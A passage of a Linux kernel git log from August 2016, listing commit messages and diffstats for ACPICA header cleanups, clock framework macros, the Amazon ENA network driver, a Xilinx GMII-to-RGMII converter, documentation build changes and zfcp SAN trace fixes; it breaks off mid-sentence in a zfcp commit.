drivers/acpi/acpica/acapps.h | 4 ++++ include/acpi/platform/acenv.h | 3 ++- tools/power/acpi/tools/acpidump/acpidump.h | 1 + tools/power/acpi/tools/acpidump/apfiles.c | 1 - tools/power/acpi/tools/acpidump/apmain.c | 1 - 5 files changed, 7 insertions(+), 3 deletions(-) commit 4e2fc6a0aa0a18403ccdcd46d7ed9f624845772b Author: Lv Zheng Date: Thu Aug 4 16:44:52 2016 +0800 ACPICA: Clib/EFI: Fix wrong order of standard integer types/IO handles ACPICA commit 7f9b359b7c78c69b07f62eb2d58f710c351fd75d EFI header should use standard C library stuffs (integer types and IO handles) rather than implementing such standard stuffs. This patch fixes this issue by: 1. Implementing standard integer types for ACPI_USE_STANDARD_HADERS=n; 2. Defining EFI types using standard integer types and standard IO handles; 3. Tuning header inclusion order and environment definition order; 4. Removing wrong standard header inclusion from ACPICA core files; 5. Moving several application headers from acpidump.h to acenv.h. This patch corrects some of them. Lv Zheng. Except some harmless header inclusion re-ordering, Linux kernel is not affected by this change. Link: https://github.com/acpica/acpica/commit/7f9b359b Link: https://bugs.acpica.org/show_bug.cgi?id=1300 Signed-off-by: Lv Zheng Signed-off-by: Bob Moore Signed-off-by: Rafael J. Wysocki drivers/acpi/acpica/acapps.h | 2 -- drivers/acpi/acpica/utpredef.c | 2 -- include/acpi/platform/acenv.h | 23 ++++++++++++++--------- include/acpi/platform/acenvex.h | 14 ++++++++------ tools/power/acpi/common/cmfsize.c | 1 - tools/power/acpi/tools/acpidump/acpidump.h | 5 ----- 6 files changed, 22 insertions(+), 25 deletions(-) commit da24f31d33dd18c622bb4f21791565ab9b6421db Author: Lv Zheng Date: Thu Aug 4 16:44:44 2016 +0800 ACPICA: Clib: Fix wrong mini C library usage ACPICA commit 4aab18466b56f3660f27cffd3c0160900737f844 When mini C library is used, we should have the following macros undefined. The only user should be the EFI applications: ACPI_USE_SYSTEM_CLIBRARY=n ACPI_USE_STANDARD_HEADERS=n All other applications uses the compiler specific library: ACPI_USE_SYSTEM_CLIBRARY=y ACPI_USE_STANDARD_HEADERS=y Linux/BSD kernels are the kind of hosts providing C library but does not provide the standard headers: ACPI_USE_SYSTEM_CLIBRARY=y ACPI_USE_STANDARD_HEADERS=n But the above logic hasn't been synchronized between the header files. This patch synchronizes all header files to correct C library usages for different platforms. This patch moves all ACPI_USE_SYSTEM_CLIRARY and ACPI_USE_STANDARD_HEADERS to the top most lines of a platform specific header. After synchronization, ACPI_USE_SYSTEM_CLIRARY definition can be removed for ACPI_APPLICATION. Lv Zheng. Link: https://github.com/acpica/acpica/commit/4aab1846 Link: https://bugs.acpica.org/show_bug.cgi?id=1299 Signed-off-by: Lv Zheng Signed-off-by: Bob Moore Signed-off-by: Rafael J. Wysocki include/acpi/platform/acenv.h | 7 ++----- include/acpi/platform/aclinux.h | 7 ++++--- 2 files changed, 6 insertions(+), 8 deletions(-) commit 5fb3ab848b35b68e9bc757f52e4562481e801882 Author: Lv Zheng Date: Thu Aug 4 16:44:38 2016 +0800 ACPICA: Clib: Cleanup va_arg related code ACPICA commit 32701b33cdc48d9bc43da8c9274cf172135b68fc We in fact always use the compiler specific stdarg.h for GCC even when ACPI_USE_STANDARD_HEADERS is not defined. So that the va_arg usages can always be correct for different compiler options. Likewise, the va_arg implemented in acenv.h is actually MSVC specific, this patch also moves it to acmsvc.h and tunes acwin.h to correctly use it. After cleaning up, this patch removes all inclusions from other files, but doesn't touch the BSD headers. Lv Zheng. Link: https://github.com/acpica/acpica/commit/32701b33 Link: https://bugs.acpica.org/show_bug.cgi?id=1298 Signed-off-by: Lv Zheng Signed-off-by: Bob Moore Signed-off-by: Rafael J. Wysocki include/acpi/platform/acenv.h | 40 ---------------------------------------- include/acpi/platform/acgcc.h | 6 ++++++ include/acpi/platform/aclinux.h | 1 - 3 files changed, 6 insertions(+), 41 deletions(-) commit b597664f8f87a19611e2433888f743f31442532c Author: Lv Zheng Date: Thu Aug 4 16:44:31 2016 +0800 ACPICA: Clib: Fix build issues when ACPI_USE_STANDARD_HEADERS is not defined by converting size_t to acpi_size ACPICA commit 7cf411136c69ef0b8f184b96599eb45c15b89226 When standard size_t is not defined due to ACPI_USE_STANDARD_HEADERS=n, we shouldn't use size_t, but should use acpi_size instead. This fixes such build issue. Lv Zheng. Link: https://github.com/acpica/acpica/commit/7cf41113 Link: https://bugs.acpica.org/show_bug.cgi?id=1296 Signed-off-by: Lv Zheng Signed-off-by: Bob Moore Signed-off-by: Rafael J. Wysocki tools/power/acpi/tools/acpidump/apfiles.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 556eae8bea04a8208ffb7b5a3af5bb92ebc6f1ed Author: Lv Zheng Date: Thu Aug 4 16:44:24 2016 +0800 ACPICA: Applications: Enable USE_NATIVE_ALLOCATE_ZEROED environment for all applications ACPICA commit 56920e2093d612ac6338dd8eb0fa89231446198f We now safe to enable USE_NATIVE_ALLOCATE_ZEROED for all applications as there are implementations in oswinxf.c, osunixxf.c and osefixf.c. Lv Zheng. Link: https://github.com/acpica/acpica/commit/56920e20 Signed-off-by: Lv Zheng Signed-off-by: Bob Moore Signed-off-by: Rafael J. Wysocki include/acpi/platform/acenv.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit eba4ed2046c605e5b8cafd3d2347617d866c1375 Author: Lv Zheng Date: Thu Aug 4 16:44:17 2016 +0800 ACPICA: acpidump: Fix a duplicate variable definition ACPICA commit 080f99d5b29313380accd00d2b9768e809eb417b acpi_gbl_integer_byte_width has already been instantiated by ACPI_GLOBAL() in acglobal.h. Lv Zheng. Link: https://github.com/acpica/acpica/commit/080f99d5 Link: https://bugs.acpica.org/show_bug.cgi?id=1301 Signed-off-by: Lv Zheng Signed-off-by: Bob Moore Signed-off-by: Rafael J. Wysocki tools/power/acpi/tools/acpidump/acpidump.h | 6 ------ tools/power/acpi/tools/acpidump/apmain.c | 1 + 2 files changed, 1 insertion(+), 6 deletions(-) commit 722280ecac0e7e8279a32f7c6270ac3a525134f0 Author: Lv Zheng Date: Thu Aug 4 16:44:11 2016 +0800 ACPICA: OSL: Add correct acpi_gbl_debug_timeout export to allow acpiexec to link ACPICA commit 408198c8c9786f9f104ee925020c3ab1701906e4 The acpi_gbl_debug_timeout which is used by acpiexec -et option now is only implemented in oswinxf.c and used for WIN32 builds. This makes it very difficult to remember that we need to add this variable to other os specific layer files in order for linking. This patch makes it a global option dependent on ACPI_APPLICATION so that it can always be linked by the applications. Lv Zheng. Link: https://github.com/acpica/acpica/commit/408198c8 Link: https://bugs.acpica.org/show_bug.cgi?id=1295 Signed-off-by: Lv Zheng Signed-off-by: Bob Moore Signed-off-by: Rafael J. Wysocki drivers/acpi/acpica/acglobal.h | 1 + tools/power/acpi/os_specific/service_layers/osunixxf.c | 3 --- 2 files changed, 1 insertion(+), 3 deletions(-) commit e8f2c16f74ed1eb26e3c8030e7a14213474393ee Author: Lv Zheng Date: Thu Aug 4 16:44:04 2016 +0800 ACPICA: Debugger: Fix wrong inclusions in dbfileio.c ACPICA commit 649eb441fbef21965d10a1aca6ff41dcf23f8e05 dbfileio.c implements debugger functionalities that can only be used by the application layer debugger (acpiexec), thus it should always include and thus shouldn't include separately. Lv Zheng. Link: https://github.com/acpica/acpica/commit/649eb441 Link: https://bugs.acpica.org/show_bug.cgi?id=1292 Signed-off-by: Lv Zheng Signed-off-by: Bob Moore Signed-off-by: Rafael J. Wysocki drivers/acpi/acpica/dbfileio.c | 20 ++++++-------------- 1 file changed, 6 insertions(+), 14 deletions(-) commit 6ea8c546f3655a81f82672f24b66dad6095bdd07 Author: Bob Moore Date: Thu Aug 4 16:43:58 2016 +0800 ACPICA: FADT support cleanup ACPICA commit 34ccd43af3fd1870fddfac0617dd0ba706963558 Remove all vestiges of the version 2 FADT which never was included in the ACPI specification. This enabled significant cleanup of both the data table compiler and the disassembler. Added many clarification comments to associate each FADT version with the version of the ACPI spec where it was originally defined. Link: https://github.com/acpica/acpica/commit/34ccd43a Signed-off-by: Bob Moore Signed-off-by: Lv Zheng Signed-off-by: Rafael J. Wysocki drivers/acpi/acpica/tbfadt.c | 10 +-- include/acpi/actbl.h | 164 +++++++++++++++++++++++++------------------ 2 files changed, 100 insertions(+), 74 deletions(-) commit 2af52c2bd20c50e80b121e15cd50a579e364485a Author: Lv Zheng Date: Thu Aug 4 16:43:39 2016 +0800 ACPICA: Events: Introduce acpi_mask_gpe() to implement GPE masking mechanism ACPICA commit 23a417ca406a527e7ae1710893e59a8b6db30e14 There is a facility in Linux, developers can control the enabling/disabling of a GPE via /sys/firmware/acpi/interrupts/gpexx. This is mainly for debugging purposes. But many users expect to use this facility to implement quirks to mask a specific GPE when there is a gap in Linux causing this GPE to flood. This is not working correctly because currently this facility invokes enabling/disabling counting based GPE driver APIs: acpi_enable_gpe()/acpi_disable_gpe() and the GPE drivers can still affect the count to mess up the GPE masking purposes. However, most of the IRQ chip designs allow masking/unmasking IRQs via a masking bit which is different from the enabled bit to achieve the same purpose. But the GPE hardware doesn't contain such a feature, this brings the trouble. In this patch, we introduce a software mechanism to implement the GPE masking feature, and acpi_mask_gpe() are provided to the OSPMs to mask/unmask GPEs in the above mentioned situation instead of acpi_enable_gpe()/acpi_disable_gpe(). ACPICA BZ 1102. Lv Zheng. Link: https://github.com/acpica/acpica/commit/23a417ca Link: https://bugs.acpica.org/show_bug.cgi?id=1102 Signed-off-by: Lv Zheng Signed-off-by: Bob Moore Signed-off-by: Rafael J. Wysocki drivers/acpi/acpica/acevents.h | 3 +++ drivers/acpi/acpica/aclocal.h | 2 ++ drivers/acpi/acpica/evgpe.c | 57 ++++++++++++++++++++++++++++++++++++++++++ drivers/acpi/acpica/evxfgpe.c | 43 +++++++++++++++++++++++++++++++ drivers/acpi/acpica/hwgpe.c | 23 +++++++++++++---- include/acpi/acpixf.h | 4 +++ include/acpi/actypes.h | 39 ++++++++++++++++------------- 7 files changed, 148 insertions(+), 23 deletions(-) commit 9556ec4ec1d3575090f1f110c558169c5f0973a9 Author: Bob Moore Date: Thu Aug 4 16:43:32 2016 +0800 ACPICA: Use os_allocate_zeroed ACPICA commit 2b896c59e53243c95600f2a3f7e1fd02c044cb37 Eliminates an unnecessary memset. Suggested-by: Amitoj Kaur Chawla Link: https://github.com/acpica/acpica/commit/2b896c59 Signed-off-by: Amitoj Kaur Chawla Signed-off-by: Bob Moore Signed-off-by: Lv Zheng Signed-off-by: Rafael J. Wysocki drivers/acpi/acpica/uttrack.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit d8303ace36aaa001e1704acb2bd13dd4f08a0d67 Author: Bob Moore Date: Thu Aug 4 16:43:26 2016 +0800 ACPICA: iASL/Disassembler: Add a check for missing filename ACPICA commit fc0f12b1eff6253f83e599a7ee1765fcc8e42dcc Add check for required filename for the -d and -da options. ACPICA BZ 1285. Link: https://github.com/acpica/acpica/commit/fc0f12b1 Link: https://bugs.acpica.org/show_bug.cgi?id=1285 Signed-off-by: Bob Moore Signed-off-by: Lv Zheng Signed-off-by: Rafael J. Wysocki tools/power/acpi/common/getopt.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 2368b1a17c95e5952d0aa4706f4fc7a32ebe8828 Author: Lv Zheng Date: Thu Aug 4 16:43:19 2016 +0800 ACPICA: Divergence: Port declarators back to ACPICA ACPICA commit c160cae765412f5736cf88a9ebcc6138aa761a48 Linux uses asmlinkage and sparse macros to mark function symbols. This leads to the divergences between the Linux and the ACPICA. This patch ports such declarators back to ACPICA. Lv Zheng. Link: https://github.com/acpica/acpica/commit/c160cae7 Signed-off-by: Lv Zheng Signed-off-by: Bob Moore Signed-off-by: Rafael J. Wysocki drivers/acpi/acpica/actables.h | 3 ++- drivers/acpi/acpica/tbutils.c | 3 ++- drivers/acpi/acpica/tbxface.c | 4 ++-- drivers/acpi/acpica/tbxfload.c | 4 ++-- drivers/acpi/acpica/tbxfroot.c | 5 ++++- drivers/acpi/acpica/utxface.c | 2 +- drivers/acpi/acpica/utxfinit.c | 6 +++--- include/acpi/acpixf.h | 28 ++++++++++++++++------------ include/acpi/platform/acenv.h | 4 ++++ include/acpi/platform/aclinux.h | 2 ++ include/acpi/platform/aclinuxex.h | 2 +- 11 files changed, 39 insertions(+), 24 deletions(-) commit 02dcdc3e860ac21f5fb3a9a30a5073267f74e596 Author: Bob Moore Date: Thu Aug 4 16:43:13 2016 +0800 ACPICA: Simplify configuration for "Max Loops" system parameter ACPICA commit 857c510d70e18eecc275dd3087807a18bae8aa51 Allow for static configuration of this parameter. It is used to abort out of infinite loops caused by non-response from hardware. Link: https://github.com/acpica/acpica/commit/857c510d Signed-off-by: Bob Moore Signed-off-by: Lv Zheng Signed-off-by: Rafael J. Wysocki drivers/acpi/acpica/utinit.c | 2 +- include/acpi/acconfig.h | 4 ++++ 2 files changed, 5 insertions(+), 1 deletion(-) commit 7c312ad1f28030c3a95b0de087bf52c45c16a0db Author: Bob Moore Date: Thu Aug 4 16:43:02 2016 +0800 ACPICA: Disassembler: Add option to emit embedded External operators/opcodes ACPICA commit 152a8ca2c7fc877d6aff0f9d0965184ef2ddce5c Opcode 0x15 was added in ACPI 6.0 for disassemblers. The disassembler by default does not emit the actual opcodes, they are used internally. Option added for internal debugging only. This patch doesn't affect Linux kernel as disassembler is not in the Linux kernel. Link: https://github.com/acpica/acpica/commit/152a8ca2 Signed-off-by: Bob Moore Signed-off-by: Lv Zheng Signed-off-by: Rafael J. Wysocki drivers/acpi/acpica/acglobal.h | 1 + 1 file changed, 1 insertion(+) commit 60d836fcdf7cc38f1408773d36cd9b6b6d698097 Author: Bob Moore Date: Thu Aug 4 16:42:55 2016 +0800 ACPICA: Debugger: Extend some max line lengths ACPICA commit 622063bae684490191c8e8b10bf18e86d0ab4ebf Fix a couple of arbitrarily small output line lengths. Link: https://github.com/acpica/acpica/commit/622063ba Signed-off-by: Bob Moore Signed-off-by: Lv Zheng Signed-off-by: Rafael J. Wysocki drivers/acpi/acpica/dbobject.c | 4 ++-- drivers/acpi/acpica/nsdump.c | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) commit b5c0875a16039d90f4cdf6b75ae4031daae01d56 Author: Lv Zheng Date: Thu Aug 4 16:42:49 2016 +0800 ACPICA: Utilities: Introduce facility to allow Linux to set correct logging levels ACPICA commit 58c9e7b83ae35247e430c39363f55b6f70fa04a2 It is reported that the logging level of the ACPICA messages are not correct in the Linux kernel. This patch fixes this issue. Lv Zheng. Link: https://github.com/acpica/acpica/commit/58c9e7b8 Link: https://bugzilla.kernel.org/show_bug.cgi?id=117461 Signed-off-by: Lv Zheng Signed-off-by: Bob Moore Signed-off-by: Rafael J. Wysocki drivers/acpi/acpica/acutils.h | 12 ++++++++++++ include/acpi/platform/aclinux.h | 8 ++++++++ 2 files changed, 20 insertions(+) commit 7fdb5cea9bf288eb6408538fa67f1559f433ab9d Author: Bob Moore Date: Thu Aug 4 16:42:42 2016 +0800 ACPICA: Interpreter: Remove temporary code for External() opcode ACPICA commit f2d349f8a11efc0f438ad6903564f3a6755dc6b9 The interpreter should never see this opcode (it is used by disassemblers), so the final implementation is to return an error. Link: https://github.com/acpica/acpica/commit/f2d349f8 Signed-off-by: Bob Moore Signed-off-by: Lv Zheng Signed-off-by: Rafael J. Wysocki drivers/acpi/acpica/dsutils.c | 17 ++++++++--------- 1 file changed, 8 insertions(+), 9 deletions(-) commit fee4ab9c0cf223e9f0f2d9d2e5a2f24f6539ccbd Author: Jung-uk Kim Date: Thu Aug 4 16:42:34 2016 +0800 ACPICA: Fix deconstification warnings (-Wcast-qual) with acpi_ns_root_initialize(). ACPICA commit 8b3b57c9d11d9c322e09cb06bedac7aa783458fd Link: https://github.com/acpica/acpica/commit/8b3b57c9 Signed-off-by: Jung-uk Kim Signed-off-by: Bob Moore Signed-off-by: Lv Zheng Signed-off-by: Rafael J. Wysocki drivers/acpi/acpica/nsaccess.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 4857a94de17a3cffeb71c51486aed1db5de594a6 Author: Jung-uk Kim Date: Thu Aug 4 16:42:19 2016 +0800 ACPICA: Fix deconstification warnings (-Wcast-qual) with function traces. ACPICA commit f722da0372261331b74d3ac67645bba912a21643 Link: https://github.com/acpica/acpica/commit/f722da03 Signed-off-by: Jung-uk Kim Signed-off-by: Bob Moore Signed-off-by: Lv Zheng Signed-off-by: Rafael J. Wysocki drivers/acpi/acpica/acutils.h | 5 +++++ drivers/acpi/acpica/utdebug.c | 37 +++++++++++++++++++++++++++++++++++++ drivers/acpi/acpica/utdecode.c | 2 +- include/acpi/acoutput.h | 6 +++++- 4 files changed, 48 insertions(+), 2 deletions(-) commit 989eafd0b6091c15a0929ea5f520ff926ccaaa25 Author: Ricardo Ribalda Delgado Date: Tue Jul 5 18:23:32 2016 +0200 clk: core: Avoid double initialization of clocks Some clock providers can be initialized via of_clk_init() and also via platform device probe. Avoid double initialization of them by setting the OF_POPULATED flag. Signed-off-by: Ricardo Ribalda Delgado Signed-off-by: Stephen Boyd drivers/clk/clk.c | 4 ++++ 1 file changed, 4 insertions(+) commit 915128b621a05c63fa58ca9e4cbdf394bbe592f3 Author: Ricardo Ribalda Delgado Date: Tue Jul 5 18:23:30 2016 +0200 clk: sunxi: apb0: Use new macro CLK_OF_DECLARE_DRIVER This driver initializes a clock provider via sun8i_a23_apb0_setup and then continues the initialization on sun8i_a23_apb0_clk_probe. Use the new macro to notify the clk subsystem about this behaviour. Signed-off-by: Ricardo Ribalda Delgado Signed-off-by: Stephen Boyd drivers/clk/sunxi/clk-sun8i-apb0.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit cb1291c3fdf0c3ffe3eba92a52e6c5362f2aaf6e Author: Ricardo Ribalda Delgado Date: Tue Jul 5 18:23:28 2016 +0200 clk: sunxi: mod0: Use new macro CLK_OF_DECLARE_DRIVER This driver initializes a clock provider via sun4i_a10_mod0_setup and then continues the initialization on sun4i_a10_mod0_clk_probe. Use the new macro to notify the clk subsystem about this behaviour. Signed-off-by: Ricardo Ribalda Delgado Signed-off-by: Stephen Boyd drivers/clk/sunxi/clk-mod0.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 9a0c42d216a6abef3b3637f9ceaac26e5f50a6a0 Author: Ricardo Ribalda Delgado Date: Tue Jul 5 18:23:27 2016 +0200 clk: nxp: Use new macro CLK_OF_DECLARE_DRIVER This driver initializes a clock provider via lpc18xx_creg_clk_init and then continues the initialization on lpc18xx_creg_clk_probe. Use the new macro to notify the clk subsystem about this behaviour. Signed-off-by: Ricardo Ribalda Delgado [sboyd@codeaurora.org: s/npx/nxp/ in subject] Signed-off-by: Stephen Boyd drivers/clk/nxp/clk-lpc18xx-creg.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit aa8d7122609dbd6e18ce270e94b9880a7c97cc9b Author: Ricardo Ribalda Delgado Date: Tue Jul 5 18:23:26 2016 +0200 clk: axis: Use new macro CLK_OF_DECLARE_DRIVER This driver initializes a clock provider via of_artpec6_clkctrl_setup and then continues the initialization on artpec6_clkctrl_probe. Use the new macro to notify the clk subsystem about this behaviour. Signed-off-by: Ricardo Ribalda Delgado Signed-off-by: Stephen Boyd drivers/clk/axis/clk-artpec6.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit c7296c51ce5d9aec3ae9fa36b3096983c35bd279 Author: Ricardo Ribalda Delgado Date: Tue Jul 5 18:23:25 2016 +0200 clk: core: New macro CLK_OF_DECLARE_DRIVER This will be used by drivers that requires initialization at of_clk_init() time and also during platform device probing. Signed-off-by: Ricardo Ribalda Delgado Signed-off-by: Stephen Boyd include/linux/clk-provider.h | 12 ++++++++++++ 1 file changed, 12 insertions(+) commit 2cf9a57811bddb6fa6b0f8d7376da164d5534813 Author: Geert Uytterhoeven Date: Fri Aug 12 14:37:54 2016 +0200 clk: divider: Fix clk_divider_round_rate() to use clk_readl() clk-divider uses clk_readl()/clk_writel() everywhere, except in clk_divider_round_rate(), where plain readl() is used. Change this to clk_readl(), as it makes a difference on powerpc. Fixes: e6d5e7d90be92cee ("clk-divider: Fix READ_ONLY when divider > 1") Signed-off-by: Geert Uytterhoeven Reviewed-by: James Hogan Signed-off-by: Stephen Boyd drivers/clk/clk-divider.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 1738cd3ed342294360d6a74d4e58800004bff854 Author: Netanel Belgazal Date: Wed Aug 10 14:03:22 2016 +0300 net: ena: Add a driver for Amazon Elastic Network Adapters (ENA) This is a driver for the ENA family of networking devices. Signed-off-by: Netanel Belgazal Signed-off-by: David S. Miller Documentation/networking/00-INDEX | 2 + Documentation/networking/ena.txt | 305 ++ MAINTAINERS | 9 + drivers/net/ethernet/Kconfig | 1 + drivers/net/ethernet/Makefile | 1 + drivers/net/ethernet/amazon/Kconfig | 27 + drivers/net/ethernet/amazon/Makefile | 5 + drivers/net/ethernet/amazon/ena/Makefile | 7 + drivers/net/ethernet/amazon/ena/ena_admin_defs.h | 973 ++++++ drivers/net/ethernet/amazon/ena/ena_com.c | 2666 +++++++++++++++++ drivers/net/ethernet/amazon/ena/ena_com.h | 1038 +++++++ drivers/net/ethernet/amazon/ena/ena_common_defs.h | 48 + drivers/net/ethernet/amazon/ena/ena_eth_com.c | 501 ++++ drivers/net/ethernet/amazon/ena/ena_eth_com.h | 160 + drivers/net/ethernet/amazon/ena/ena_eth_io_defs.h | 416 +++ drivers/net/ethernet/amazon/ena/ena_ethtool.c | 895 ++++++ drivers/net/ethernet/amazon/ena/ena_netdev.c | 3280 +++++++++++++++++++++ drivers/net/ethernet/amazon/ena/ena_netdev.h | 324 ++ drivers/net/ethernet/amazon/ena/ena_pci_id_tbl.h | 67 + drivers/net/ethernet/amazon/ena/ena_regs_defs.h | 133 + 20 files changed, 10858 insertions(+) commit 4330ea798f087a5f1e1dc6bbabe2eab18a2b3b92 Merge: f08aff4 f411a61 Author: David S. Miller Date: Fri Aug 12 16:57:20 2016 -0700 Merge branch 'xilinx-gmiitorgmii-converter' Kedareswara rao Appana says: ==================== net: phy: Add xilinx gmiitorgmii converter support The Gigabit Media Independent Interface (GMII) to Reduced Gigabit Media Independent Interface (RGMII) core provides the RGMII between RGMII-compliant Ethernet physical media devices (PHY) and the Gigabit Ethernet controller. This core can be used in all three modes of operation(10/100/1000 Mb/s). The Management Data Input/Output (MDIO) interface is used to configure the Speed of operation. This core can switch dynamically between the three Different speed modes by configuring the conveter register through mdio write. The conveter sits b/w the MAC and external phy like below MACB <==> GMII2RGMII <==> RGMII_PHY MDIO <========> GMII2RGMII MCAB <=======> <========> RGMII Using MAC MDIO bus we can access both the converter and the external PHY. We need to program the line speed of the converter during run time based On the external phy negotiated speed. This patch series does the below ---> Add mask for Control register 10Mbps speed. ---> Add support for xilinx gmiitorgmii converter. ==================== Signed-off-by: David S. Miller commit f411a6160bd4278508b5892949ba1a7db6f73489 Author: Appana Durga Kedareswara Rao Date: Wed Aug 10 11:20:08 2016 +0530 net: phy: Add gmiitorgmii converter support This patch adds support for gmiitorgmii converter. The GMII to RGMII IP core provides the Reduced Gigabit Media Independent Interface (RGMII) between Ethernet physical media Devices and the Gigabit Ethernet controller. This core can Switch dynamically between the three different speed modes of Operation by configuring the converter register through mdio write. MDIO interface is used to set operating speed of Ethernet MAC. This converter sits between the MAC and the external phy MAC <==> GMII2RGMII <==> RGMII_PHY Signed-off-by: Kedareswara rao Appana Signed-off-by: David S. Miller drivers/net/phy/Kconfig | 7 +++ drivers/net/phy/Makefile | 1 + drivers/net/phy/xilinx_gmii2rgmii.c | 109 ++++++++++++++++++++++++++++++++++++ 3 files changed, 117 insertions(+) commit 71e11aff34510e4133965d63ae6d91a0cf4aa876 Author: Appana Durga Kedareswara Rao Date: Wed Aug 10 11:20:07 2016 +0530 Documentation: DT: net: Add Xilinx gmiitorgmii converter device tree binding documentation Device-tree binding documentation for xilinx gmiitorgmii converter. Signed-off-by: Kedareswara rao Appana Acked-by: Rob Herring Signed-off-by: David S. Miller .../devicetree/bindings/net/xilinx_gmii2rgmii.txt | 35 ++++++++++++++++++++++ 1 file changed, 35 insertions(+) commit 300d8b93d73533411a98362350fe7d1795f1a044 Author: Appana Durga Kedareswara Rao Date: Wed Aug 10 11:20:06 2016 +0530 net: Add mask for Control register 10Mbps speed This patch adds mask for the Control register 10Mbps speed. Reviewed-by: Florian Fainelli Signed-off-by: Kedareswara rao Appana Signed-off-by: David S. Miller include/uapi/linux/mii.h | 1 + 1 file changed, 1 insertion(+) commit 34df2a45bdcea483c46ba80dd1197720b5416c48 Merge: 3eb6cd6 c2d5be1 Author: Jonathan Corbet Date: Fri Aug 12 17:13:33 2016 -0600 Merge branch 'doc/4.8-fixes' into docs-next commit 3eb6cd6834c356f40e1633a0ced4ff9a4c59936b Author: Jani Nikula Date: Wed Aug 10 18:54:09 2016 +0300 Documentation: exclude media documentation from pdf generation Although pdflatex is more robust than rst2pdf, building media documentation pdf still fails. Exclude media documentation from pdf generation for now. Signed-off-by: Jani Nikula Acked-by: Markus Heiser Signed-off-by: Jonathan Corbet Documentation/conf.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit f907ba930780d73e87791c73a4fdc1998e59db75 Author: Jani Nikula Date: Wed Aug 10 18:54:08 2016 +0300 Documentation: switch to pdflatex for pdf generation Looks like rst2pdf is not robust enough, especially for large documents. Use recursive make on the Sphinx generated makefile to convert latex to pdf. The ugly detail is that pdf is generated into Documentation/output/latex. Unfortunately, the pdflatex build generates huge amounts of build log noise, and also fails in the end. We'll fix that next. Signed-off-by: Jani Nikula Acked-by: Markus Heiser Signed-off-by: Jonathan Corbet Documentation/Makefile.sphinx | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) commit 609afe6b49ef3b4b58886f7b82013a2f35f59a57 Author: Jani Nikula Date: Wed Aug 10 18:54:07 2016 +0300 Documentation/sphinx: build the media intermediate rst files for all outputs This is a stopgap measure to allow building outputs other than html. Signed-off-by: Jani Nikula Acked-by: Mauro Carvalho Chehab Acked-by: Markus Heiser Signed-off-by: Jonathan Corbet Documentation/Makefile.sphinx | 3 +-- Documentation/media/Makefile | 3 ++- 2 files changed, 3 insertions(+), 3 deletions(-) commit aceeffbb59bb91404a0bda32a542d7ebf878433a Author: Steffen Maier Date: Wed Aug 10 18:30:53 2016 +0200 zfcp: trace full payload of all SAN records (req,resp,iels) This was lost with commit 2c55b750a884b86dea8b4cc5f15e1484cc47a25c ("[SCSI] zfcp: Redesign of the debug tracing for SAN records.") but is necessary for problem determination, e.g. to see the currently active zone set during automatic port scan. For the large GPN_FT response (4 pages), save space by not dumping any empty residual entries. Signed-off-by: Steffen Maier Fixes: 2c55b750a884 ("[SCSI] zfcp: Redesign of the debug tracing for SAN records.") Cc: #2.6.38+ Reviewed-by: Alexey Ishchuk Reviewed-by: Benjamin Block Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/s390/scsi/zfcp_dbf.c | 116 ++++++++++++++++++++++++++++++++++++++----- drivers/s390/scsi/zfcp_dbf.h | 1 + 2 files changed, 104 insertions(+), 13 deletions(-) commit 94db3725f049ead24c96226df4a4fb375b880a77 Author: Steffen Maier Date: Wed Aug 10 18:30:52 2016 +0200 zfcp: fix payload trace length for SAN request&response commit 2c55b750a884b86dea8b4cc5f15e1484cc47a25c ("[SCSI] zfcp: Redesign of the debug tracing for SAN records.") started to add FC_CT_HDR_LEN which made zfcp dump random data out of bounds for RSPN GS responses because u.rspn.rsp is the largest and last field in the union of struct zfcp_fc_req. Other request/response types only happened to stay within bounds due to the padding of the union or due to the trace capping of u.gspn.rsp to ZFCP_DBF_SAN_MAX_PAYLOAD. Timestamp : ... Area : SAN Subarea : 00 Level : 1 Exception : - CPU id : .. Caller : ... Record id : 2 Tag : fsscth2 Request id : 0x... Destination ID : 0x00fffffc Payload short : 01000000 fc020000 80020000 00000000 xxxxxxxx xxxxxxxx xxxxxxxx xxxxxxxx <=== 00000000 00000000 00000000 00000000 Payload length : 32 <=== struct zfcp_fc_req { [0] struct zfcp_fsf_ct_els ct_els; [56] struct scatterlist sg_req; [96] struct scatterlist sg_rsp; union { struct {req; rsp;} adisc; SIZE: 28+28= 56 struct {req; rsp;} gid_pn; SIZE: 24+20= 44 struct {rspsg; req;} gpn_ft; SIZE: 40*4+20=180 struct {req; rsp;} gspn; SIZE: 20+273= 293 struct {req; rsp;} rspn; SIZE: 277+16= 293 [136] } u; } SIZE: 432 Signed-off-by: Steffen Maier Fixes: 2c55b750a884 ("[SCSI] zfcp: Redesign of the debug tracing for SAN records.") Cc: #2.6.38+ Reviewed-by: Alexey Ishchuk Reviewed-by: Benjamin Block Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/s390/scsi/zfcp_dbf.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 771bf03537ddfa4a4dde62ef9dfbc82e4f77ab20 Author: Steffen Maier Date: Wed Aug 10 18:30:51 2016 +0200 zfcp: fix D_ID field with actual value on tracing SAN responses With commit 2c55b750a884b86dea8b4cc5f15e1484cc47a25c ("[SCSI] zfcp: Redesign of the debug tracing for SAN records.") we lost the N_Port-ID where an ELS response comes from. With commit 7c7dc196814b9e1d5cc254dc579a5fa78ae524f7 ("[SCSI] zfcp: Simplify handling of ct and els requests") we lost the N_Port-ID where a CT response comes from. It's especially useful if the request SAN trace record with D_ID was already lost due to trace buffer wrap. GS uses an open WKA port handle and ELS just a D_ID, and only for ELS we could get D_ID from QTCB bottom via zfcp_fsf_req. To cover both cases, add a new field to zfcp_fsf_ct_els and fill it in on request to use in SAN response trace. Strictly speaking the D_ID on SAN response 